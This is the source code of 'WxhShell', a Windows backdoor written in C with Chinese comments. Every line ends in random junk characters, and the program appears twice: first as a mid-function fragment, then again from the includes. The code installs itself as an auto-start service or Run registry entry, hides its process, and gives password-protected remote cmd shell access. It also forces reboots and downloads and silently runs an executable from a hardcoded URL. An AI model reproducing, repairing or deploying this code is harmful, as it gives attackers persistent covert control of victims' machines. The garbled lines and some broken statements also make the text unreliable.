    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g%Bh-O9\  
    else { })W9=xO~  
    closesocket(wsh); lC/1,Z/M  
    ExitThread(0); ?+av9;Kg  
    } [ )3rc}:1  
    break; x1]J  
    } m%m<-.'-  
  // 获取shell ]l4\Tdz  
  case 's': { ~MWI-oK  
    CmdShell(wsh); @<kY,ox@~  
    closesocket(wsh); 9d&@;&al  
    ExitThread(0); JguPXHa0  
    break; ~_Q~AOFM  
  } QO2@K1Y  
  // 退出 3LGX ^J<f  
  case 'x': { F<.oTP-B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ov8^6O  
    CloseIt(wsh); JfD-CoQS'  
    break; "5<:Dj/W  
    } >~@O\n-t  
  // 离开 Kb X&E0  
  case 'q': { (4o<U%3kGq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P:D;w2'Q  
    closesocket(wsh); 5aj%<r  
    WSACleanup(); Z(j"\d!y  
    exit(1); 7 Tb[sc'  
    break; ]K?;XA3dZ  
        } e!W U  
  } +3uPHpMB-  
  } e5RF6roxO  
FKZ'6KM&A  
  // 提示信息 BG|m5f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s&hJ[$i  
} ziDvDu=  
  } BP4xXdG  
L4DT*(;!E  
  return; ?(Se$iTZ  
} 0=0,ix7?#  
u6nO\.TTtY  
// shell模块句柄 K| dI'TnW  
int CmdShell(SOCKET sock) l~]D|92  
{ LZ34x: ,C  
STARTUPINFO si; xi51,y+(5  
ZeroMemory(&si,sizeof(si)); ">._&8KkE0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?g\emhG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "1YwV~M5  
PROCESS_INFORMATION ProcessInfo; V7b;qC'  
char cmdline[]="cmd"; {xAd>fGG+y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W#)X@TlE  
  return 0; 9tX+n{i  
} 9X?RJ."J  
h;@c%Vm  
// 自身启动模式 -"NK"nb  
int StartFromService(void) f8 BZkh  
{ N4#D&5I",  
typedef struct 5(gWK{R)*  
{ |1GOm=GNK  
  DWORD ExitStatus; |kH.o=  
  DWORD PebBaseAddress; 0 N"N$f  
  DWORD AffinityMask; ]5K+W  
  DWORD BasePriority; Bn9#F#F<  
  ULONG UniqueProcessId; =A!r ZG  
  ULONG InheritedFromUniqueProcessId; "fr{:'HX  
}   PROCESS_BASIC_INFORMATION; ,z<1:st]<  
eF]8Ar1  
PROCNTQSIP NtQueryInformationProcess; /oW]? 9  
76bMy4re  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xP_/5N=f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r<'DS9m  
9dw* ++  
  HANDLE             hProcess; YA@MLZm  
  PROCESS_BASIC_INFORMATION pbi; !zvjgDlZv  
S)g:+P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^B0Qk:%P^N  
  if(NULL == hInst ) return 0; HCsd$M;Hbv  
tAE(`ow/Ur  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n\)1Bz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O2\(:tvw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 67hfve  
~+j2a3rv-{  
  if (!NtQueryInformationProcess) return 0; :_y!p  
ywl=@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }NoP(&ebz*  
  if(!hProcess) return 0; rrr_{d/  
[al$sCD]+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E_En"r)y  
1cv~_jFh  
  CloseHandle(hProcess); F@k}p-e~  
~5`oNa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CvmIDRP*  
if(hProcess==NULL) return 0; @J&korU  
$%q=tn'EX  
HMODULE hMod; :^PksR  
char procName[255]; zxx\jpBBk  
unsigned long cbNeeded; ! ig& 8:  
* eC[74Kng  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4")`}T  
(bQ3:%nD  
  CloseHandle(hProcess); cLl~4jL  
) PTvw>  
if(strstr(procName,"services")) return 1; // 以服务启动 (z>t4(%\  
r":anR( ;  
  return 0; // 注册表启动 ?9a%g\`?:  
} F^'$%XKV  
y0sce  
// 主模块 w+>+hq  
int StartWxhshell(LPSTR lpCmdLine) ' {UKO7   
{ t|eH'"N%o  
  SOCKET wsl; EC;>-s  
BOOL val=TRUE; Cp(2]Eb  
  int port=0; Nw'03Jzx_  
  struct sockaddr_in door; '"fJA/O  
q6)fP4MQ]  
  if(wscfg.ws_autoins) Install(); i-Rn,}v  
6ki2/ Q  
port=atoi(lpCmdLine); ^APtV6g  
xy[#LX)RW  
if(port<=0) port=wscfg.ws_port; 29,ET}~  
IGcq*mR=  
  WSADATA data; s@ r{TXEn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /O}<e TR  
s{Y4wvQyB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '1:)q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WN+i3hC  
  door.sin_family = AF_INET; !Fp %2gt|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M&j|5UH%.  
  door.sin_port = htons(port); )^ Y+Vn  
az6 &  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9Q%lS  
closesocket(wsl); s:}? rSI  
return 1; 'ZW(Hjrd  
} T:$^1"\  
u1$6:"2@5k  
  if(listen(wsl,2) == INVALID_SOCKET) { ? +L,  
closesocket(wsl); \]V:>=ry>  
return 1; C~B ]@xxK)  
} GYfOwV!zB  
  Wxhshell(wsl); [|OII!"  
  WSACleanup(); P[ WkW#  
Gv &G2^  
return 0; w!7ApEH1  
Sp80xV_B  
} (c(F1=K  
ZpVkgX4  
// 以NT服务方式启动 rk W7;!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5, 1<A@H  
{ 0cq@lT6  
DWORD   status = 0; .how@>:P+  
  DWORD   specificError = 0xfffffff; 93HVx#  
P>C'? 'Q7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i=aR ~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,2nu*+6Y/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b$,Hlh,^  
  serviceStatus.dwWin32ExitCode     = 0; l~rj7f;  
  serviceStatus.dwServiceSpecificExitCode = 0; }_]AQN$'G  
  serviceStatus.dwCheckPoint       = 0; c4Zpt%:}h  
  serviceStatus.dwWaitHint       = 0; jr4xh {Z`  
JcR|{9ghT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xmv %O&0^}  
  if (hServiceStatusHandle==0) return; 4GRD- f[  
HU $"o6ap  
status = GetLastError(); ;o!p9MEpz;  
  if (status!=NO_ERROR) CJ\a7=*i  
{ iYStl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `F7]M  
    serviceStatus.dwCheckPoint       = 0; =\oH= f  
    serviceStatus.dwWaitHint       = 0;  v_!6S|  
    serviceStatus.dwWin32ExitCode     = status; z%YNZ ^d  
    serviceStatus.dwServiceSpecificExitCode = specificError; B$_4 ul\)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,x8;| o5  
    return; I9S;t _Z<  
  } OOqT0w N  
il5C9ql$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f+^6.%  
  serviceStatus.dwCheckPoint       = 0; X&pYLm72;  
  serviceStatus.dwWaitHint       = 0; N `|A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'Rn-SD~gIr  
} pbzFzLal  
8}  B  
// 处理NT服务事件,比如:启动、停止 W`;;fJe  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /I`TN5~  
{ }=^ ,c  
switch(fdwControl) r%PWv0z_c  
{ Jj-\Eb?  
case SERVICE_CONTROL_STOP: 5?k5J\+  
  serviceStatus.dwWin32ExitCode = 0; KNx/1 lf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m^D'p  
  serviceStatus.dwCheckPoint   = 0; DXLXGvcM  
  serviceStatus.dwWaitHint     = 0; :<qe2Z5k  
  { *,\"}x*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @V%\Gspv  
  } >!=@TK(~  
  return; c@t?R$c  
case SERVICE_CONTROL_PAUSE: Ga7E}y%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >|QH I d8  
  break; OIrm9D #  
case SERVICE_CONTROL_CONTINUE: f$o^Xu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Sa= tiOv  
  break; N(&{~*YE  
case SERVICE_CONTROL_INTERROGATE: f^$,;  
  break; Hf`i~6  
}; c{=Sy;i@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $o[-xNn1  
} J/je/PC  
&h334N|4{  
// 标准应用程序主函数 ,X?/FAcb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rVz.Ws#  
{ ED&nrd1P  
C?z S}ob  
// 获取操作系统版本 QtW9!p7(  
OsIsNt=GetOsVer(); !#KKJ`uB"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ku]5sd >b  
cc[(w #K  
  // 从命令行安装 ]Y\$U<YjO  
  if(strpbrk(lpCmdLine,"iI")) Install(); =w$&n%~  
,{_i{WV  
  // 下载执行文件 4\;zz8 5E  
if(wscfg.ws_downexe) { ]01`r/->\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0'Pjnk-i  
  WinExec(wscfg.ws_filenam,SW_HIDE); *dBeb  
} Fz7t84g(  
Q|(}rIWOQA  
if(!OsIsNt) { *7!MG  
// 如果时win9x,隐藏进程并且设置为注册表启动 T2e-RR  
HideProc(); QQl.5'PP  
StartWxhshell(lpCmdLine); @nktD.  
} *g(d}C!  
else s@\3|e5g  
  if(StartFromService()) >. |({;n9  
  // 以服务方式启动 ?:;;0kSk  
  StartServiceCtrlDispatcher(DispatchTable); b RR N  
else UQl?_ [G  
  // 普通方式启动 F!vrvlD`s  
  StartWxhshell(lpCmdLine); j 6qtR$l|  
7V"?o  
return 0; W'./p"2g  
} @>8(f#S%  
7Nq< o5  
Vebv!  
@;/Pl>$|'G  
=========================================== ?H=YJK$k  
sVFO&|L  
P#O" {+`  
A!lZyG!3  
UsE\p9mCuV  
{T4_Xn-I  
" OgF[=  
g NI1W@)  
#include <stdio.h> t ed:]  
#include <string.h> zj`c%9N+  
#include <windows.h> <XeDJ8 '  
#include <winsock2.h> N^;lp<{6?  
#include <winsvc.h> HWjJ.;k}a  
#include <urlmon.h> ^z *0  
!<w6j-S  
#pragma comment (lib, "Ws2_32.lib") S@qPf0dL<  
#pragma comment (lib, "urlmon.lib") K"!rj.Da  
&f.5:u%{b  
#define MAX_USER   100 // 最大客户端连接数 @@ Q4{o  
#define BUF_SOCK   200 // sock buffer zIc6L3w$  
#define KEY_BUFF   255 // 输入 buffer DsdM:u*s  
fQoAdw  
#define REBOOT     0   // 重启 b^W&-Hh  
#define SHUTDOWN   1   // 关机 IL@yGuO,  
!:+U-mb*  
#define DEF_PORT   5000 // 监听端口 tV++QC7@L  
P y'BMk  
#define REG_LEN     16   // 注册表键长度 Z518J46o  
#define SVC_LEN     80   // NT服务名长度 [+[ W\6  
y_WC"  
// 从dll定义API Oc)n,D)0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ufL,K q4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g#I`P&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;j0.#P:a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  Q6 *n'6  
{\$S585  
// wxhshell配置信息 >k @t.PeoV  
struct WSCFG {  4!!|P  
  int ws_port;         // 监听端口 maa pX/J  
  char ws_passstr[REG_LEN]; // 口令 G@s:|oe  
  int ws_autoins;       // 安装标记, 1=yes 0=no c^|8qvS $  
  char ws_regname[REG_LEN]; // 注册表键名 k=)U  
  char ws_svcname[REG_LEN]; // 服务名 Sm/8VSY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BbB3#/g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0]>bNbLB"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~A0AB `7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =-dnniKW4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DFr$2Y3H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Jk.x^  
8r( Vz  
}; 11PL1zzH  
Vz mlKVE  
// default Wxhshell configuration ]y OM  
struct WSCFG wscfg={DEF_PORT, r`"_D%kc  
    "xuhuanlingzhe", ev&l=(hY  
    1, ]D6<6OB  
    "Wxhshell", kHK<~srB  
    "Wxhshell", $ DN.  
            "WxhShell Service", U`*we43  
    "Wrsky Windows CmdShell Service", _kD5pC =  
    "Please Input Your Password: ", }-[l)<F:  
  1, X "Eqhl<t  
  "http://www.wrsky.com/wxhshell.exe", SrA6}kS  
  "Wxhshell.exe" as:=QMV  
    }; ei2?H;H;  
~vF*&^4Vh  
// 消息定义模块 O!Ue0\1Kj0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2 Wcu.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r,eH7&P9{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q;SD+%tI  
char *msg_ws_ext="\n\rExit."; t_/qd9Jv  
char *msg_ws_end="\n\rQuit."; o9sQ!gptw  
char *msg_ws_boot="\n\rReboot..."; GVT 6cR  
char *msg_ws_poff="\n\rShutdown..."; 3r%v@8)!b  
char *msg_ws_down="\n\rSave to "; 9No6\{[M  
n[/D>Pi  
char *msg_ws_err="\n\rErr!"; Yte*$cJ=  
char *msg_ws_ok="\n\rOK!"; ( %sf wv  
thPAD+u.3  
char ExeFile[MAX_PATH]; %Vo'\|  
int nUser = 0; $Y/z+ea  
HANDLE handles[MAX_USER]; 2K~v`c*4  
int OsIsNt; {:cGt2*~^  
$ (&uaDYv  
SERVICE_STATUS       serviceStatus; Z{3=.z{&^=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y95  #t  
eHx {[J?  
// 函数声明  o]0E  
int Install(void); .Z 7t E?  
int Uninstall(void);  !5 S#  
int DownloadFile(char *sURL, SOCKET wsh); DvWBvs,  
int Boot(int flag); _~Lu%   
void HideProc(void); |TJ gH<I  
int GetOsVer(void); [?z;'O}y  
int Wxhshell(SOCKET wsl); T #E{d  
void TalkWithClient(void *cs); H~[q<ybxr  
int CmdShell(SOCKET sock); !@V]H  
int StartFromService(void); s\'t=}0q  
int StartWxhshell(LPSTR lpCmdLine); -/8V2dv3  
;4+z~7Je]^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \1R*M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xk:x=4u&  
kU:Q&[/jzH  
// 数据结构和表定义 jhT/}"v  
SERVICE_TABLE_ENTRY DispatchTable[] = DI{Qs[  
{ #~Kno@  
{wscfg.ws_svcname, NTServiceMain}, j\#)'>"  
{NULL, NULL} C4E*q3[Y  
}; D[T\_3 W  
L{sFR^-G  
// 自我安装 HmXxM:[4;  
int Install(void) j+.E#:tu"  
{ dsEvpa$?  
  char svExeFile[MAX_PATH]; F, =WfM\  
  HKEY key; 9 Eh*r@>  
  strcpy(svExeFile,ExeFile); r 8N<<^  
|$8N*7UD  
// 如果是win9x系统,修改注册表设为自启动 "+Ks#  
if(!OsIsNt) { M!G/5:VZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *"|f!t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z'AjeZyyE  
  RegCloseKey(key); ~Q- /O~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i&HU7mP/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W__$ i<1  
  RegCloseKey(key); UXa%$gwFw  
  return 0; B_!S\?}$  
    } Xk^<}Ep)c  
  } "97sH_ ,  
} BAqwYWdS  
else { R]Fa?uQW  
QIwO _[Q  
// 如果是NT以上系统,安装为系统服务 USE!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Vl7V?`_4  
if (schSCManager!=0) ^(*eoe  
{ )x5w`N]lm  
  SC_HANDLE schService = CreateService 3&X5*-U  
  ( 'fb&3  
  schSCManager, ]<},[s  
  wscfg.ws_svcname, 7CT446  
  wscfg.ws_svcdisp, s_u! RrC  
  SERVICE_ALL_ACCESS, gd)VL}k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5"#xbvRS0H  
  SERVICE_AUTO_START, j97c@  
  SERVICE_ERROR_NORMAL, RZvRV?<bR  
  svExeFile, uL-$^],  
  NULL, GyE5jh2  
  NULL, LNgFk%EH  
  NULL, +SFo2Wdr43  
  NULL, *@ \LS!N  
  NULL Swv =gu  
  ); [c>YKN2qa  
  if (schService!=0) ?.I1"C,#VJ  
  { Y Odwd}M  
  CloseServiceHandle(schService); -z/>W+k  
  CloseServiceHandle(schSCManager); xG%O^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6.v)q,JL  
  strcat(svExeFile,wscfg.ws_svcname); e ~G IUwJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _T^@,!&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G!GGT?J  
  RegCloseKey(key); }g.)%Bw!  
  return 0; ovtZHq/  
    } cMUmJH  
  } Xt*h2&  
  CloseServiceHandle(schSCManager); V=GP_^F  
} )=h+5Z>E1  
} ?cr^.LV|h^  
7*&q"   
return 1; _t7aOH  
} -A8CW9|mk  
ECOzquvM  
// 自我卸载 4!+IsT  
int Uninstall(void) j W|M)[KJN  
{ 9&4z4@on  
  HKEY key; CJLfpvV  
j&?@:Zg v  
if(!OsIsNt) { |>p?Cm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q-0( Wx9|  
  RegDeleteValue(key,wscfg.ws_regname); CwzDkr&QC_  
  RegCloseKey(key); cZ/VMQEr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;#2yF34gv  
  RegDeleteValue(key,wscfg.ws_regname); ma2-66M~j  
  RegCloseKey(key); DTV"~>@  
  return 0; gDsb~>rb|  
  } tw]Q5:6  
} A3e83g~L  
} XuW>GT/  
else { Pu]Pp`SP  
n ^C"v6X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9&KiG* .  
if (schSCManager!=0) h1N{;SWQ  
{ SxRa?5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >]8H@. \  
  if (schService!=0) :'gX//b):  
  { ytGcigw(P  
  if(DeleteService(schService)!=0) { %,5_]bGvb  
  CloseServiceHandle(schService); xCiq;FFR  
  CloseServiceHandle(schSCManager); [lAZ)6E~=  
  return 0; 4}HY= 0Um  
  } >uDE<MUC  
  CloseServiceHandle(schService); Bt-2S,c,o  
  } zC\L-i>G  
  CloseServiceHandle(schSCManager); !.5,RIf  
} 4T:@W C  
} e/!xyd  
d#3E'8  
return 1; 1A\N$9Dls  
} Zut"P3d=J  
5@@ilvwzz  
// 从指定url下载文件 q vGkTE  
int DownloadFile(char *sURL, SOCKET wsh) B"I^hrQ  
{ QPpC_pZh  
  HRESULT hr;  HO =\  
char seps[]= "/"; 0=KyupwXC  
char *token; ;bt%TxuKb  
char *file; 0)-yLfTn  
char myURL[MAX_PATH]; z0-`D.D@\  
char myFILE[MAX_PATH]; s(Llz]E~ZX  
io(Rb\#"  
strcpy(myURL,sURL); b$1W>  
  token=strtok(myURL,seps); 9TbRrS09  
  while(token!=NULL) *5|q_K Pt  
  { <%]i7&8|  
    file=token; jAb R[QR1%  
  token=strtok(NULL,seps); S6Fn(%T+9  
  } q'[q]  
vTU*6)  
GetCurrentDirectory(MAX_PATH,myFILE); ?T <2Cl'C  
strcat(myFILE, "\\"); hE>%LcP  
strcat(myFILE, file); le J\  
  send(wsh,myFILE,strlen(myFILE),0); =6:>C9  
send(wsh,"...",3,0); J PK( S~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N3g\X  
  if(hr==S_OK) 5ki<1{aVtZ  
return 0; j]' 7"b5  
else ]728x["(19  
return 1; 6Z3L=j  
u3ns-e  
} o79EDPX  
#Z]l4d3{T  
// 系统电源模块 Gg=Y}S7:  
int Boot(int flag) yJAz#~PO/  
{ /KH,11 )yc  
  HANDLE hToken; kls 6Dk#  
  TOKEN_PRIVILEGES tkp; '9d] B^)F  
=;?afUj  
  if(OsIsNt) { (7_}UT@w-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3c.,T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aaODj>  
    tkp.PrivilegeCount = 1; V1Opp8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )Cfk/OnRd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ||t"}Y  
if(flag==REBOOT) { :N ~A7@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L1J~D?q  
  return 0; Y<0R5rO  
} .8EaFEd  
else { XIJW$CY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UiLiy?EJ  
  return 0; 5ps7)]  
} B6#^a  
  } %RS8zN  
  else { X1PXX!]lo[  
if(flag==REBOOT) { oF0BBs$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p`-Oz]  
  return 0; ic(`Ev  
} (!B1} 5"  
else { cg]>*lH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !m<v@SmL\  
  return 0; AeN$AqQd/  
} K{WLo5HP  
} osdl dS  
q71~Y:7f  
return 1; Qaeg3f3F3  
} E +!A0!1  
]d]rV `RF  
// win9x进程隐藏模块 3q*p#l~  
void HideProc(void) Uop`)  
{ 1 ms(03dp  
z[~ph/^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gJC~$/2  
  if ( hKernel != NULL ) "|KhqV=?v  
  { (AI 4a+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g`9`/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ev"f@y9Do  
    FreeLibrary(hKernel); Z_.xglq{  
  } L.tW]43K  
zo>@"uH4  
return; %ot4$ eY  
} N0_@=uE  
#l?E2 U4WL  
// 获取操作系统版本 f\U(7)2  
int GetOsVer(void) |.EC>D /  
{ &kp`1kv":  
  OSVERSIONINFO winfo; jC}2>_#m(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1HS43!  
  GetVersionEx(&winfo); @&xWd{8'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qf#=Y j  
  return 1; '`nf7b(  
  else VY|'7in"M  
  return 0; :'0.  
} /c:78@  
?)V?6"fFP  
// 客户端句柄模块 ; xx u,  
int Wxhshell(SOCKET wsl) D(&XmC[\Y  
{ rctGa ,l  
  SOCKET wsh; :.bBV]6q  
  struct sockaddr_in client; tR`^c8gD  
  DWORD myID; F9PXQD(  
.:/[%q{k  
  while(nUser<MAX_USER) dlJc~|  
{ ;:A/WU.^  
  int nSize=sizeof(client); 3s B9t X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VSLi{=#  
  if(wsh==INVALID_SOCKET) return 1; k|D =Q  
,|G~PC8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >o,l/# z  
if(handles[nUser]==0) 1 ` ={* *  
  closesocket(wsh); VteMsL/H  
else 15\k/[3 #  
  nUser++; DICS6VG}  
  } 5|_El/G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3K{G=WE$  
6s(.u l  
  return 0; %&}gt+L(M  
} fZka$ 4  
vMv? fE"  
// 关闭 socket k!)Pl,nJ  
void CloseIt(SOCKET wsh) 'D&[Y)f^  
{ |B~^7RHXo  
closesocket(wsh); .hVB)@/  
nUser--; "l[ c/q[  
ExitThread(0); +b_o2''  
} g?OC-zw  
wT@{=s,  
// 客户端请求句柄 }>$3B5}  
void TalkWithClient(void *cs) sX[k}=HCK  
{ -a\[`JHi  
!}I+)@~\w  
  SOCKET wsh=(SOCKET)cs; ={[9kR i  
  char pwd[SVC_LEN]; Ce`#J6lT  
  char cmd[KEY_BUFF]; #Pr w2u  
char chr[1]; )y"8Bx=x4  
int i,j; UR<a7j"@2  
AXT(D@sI=  
  while (nUser < MAX_USER) { /w "h'u  
ly( LMr  
if(wscfg.ws_passstr) { \9N )71n(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZWXA%u7V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V_"UiN"o  
  //ZeroMemory(pwd,KEY_BUFF); !Y^3%B%  
      i=0; &MJ cLM]  
  while(i<SVC_LEN) { nXM[#~  
D&*'|}RZ  
  // 设置超时 b`& :`  
  fd_set FdRead; RcpKv;=iB  
  struct timeval TimeOut; ,,+iPGa<  
  FD_ZERO(&FdRead); Wi<g  
  FD_SET(wsh,&FdRead); Yc p<N>)  
  TimeOut.tv_sec=8; BRTCo,i  
  TimeOut.tv_usec=0; JDP/vNq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f=paa/k0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KybrSa  
G3${\'<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k@}g?X`8  
  pwd=chr[0]; L=9 ^Y/8Q  
  if(chr[0]==0xd || chr[0]==0xa) { e]zd6{g[m  
  pwd=0; ~ya@ YP]';  
  break; EK2mJCC|  
  } Aq;WQyZ2  
  i++; 'y%*W:O  
    } jeWI<ms  
5fY7[{ 2  
  // 如果是非法用户,关闭 socket ^E]y >Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;/ASl<t,  
} OOZxs?pR  
s_#6^_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a?1Ml>R6P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'bn$"A"{o  
A Qm!7,  
while(1) { <_3OiU= w  
[ XBVES8  
  ZeroMemory(cmd,KEY_BUFF); Lhmb= @  
h[>Puoz  
      // 自动支持客户端 telnet标准   nA#N,^Rr  
  j=0; <`")Zxf+  
  while(j<KEY_BUFF) { ]=vRjw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =58:e7(df  
  cmd[j]=chr[0]; 6rBP,\m  
  if(chr[0]==0xa || chr[0]==0xd) { 1<F6{?,z  
  cmd[j]=0; ypLt6(1j%  
  break; d^qTY?k.  
  } p(fL' J  
  j++;  Uu0  
    } H>Q X?>j  
b*TQKYT  
  // 下载文件 w)Z-, J  
  if(strstr(cmd,"http://")) { kK_9I (7c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =-E%vnU  
  if(DownloadFile(cmd,wsh)) jL,P )TC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sUz,F8G  
  else 0mR^%+~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cP^c}e*;NS  
  }  J;GYo|8  
  else { k]=lo'bF4  
L XHDX  
    switch(cmd[0]) { h@jk3J9^  
  j^m x,  
  // 帮助 N?v}\P U  
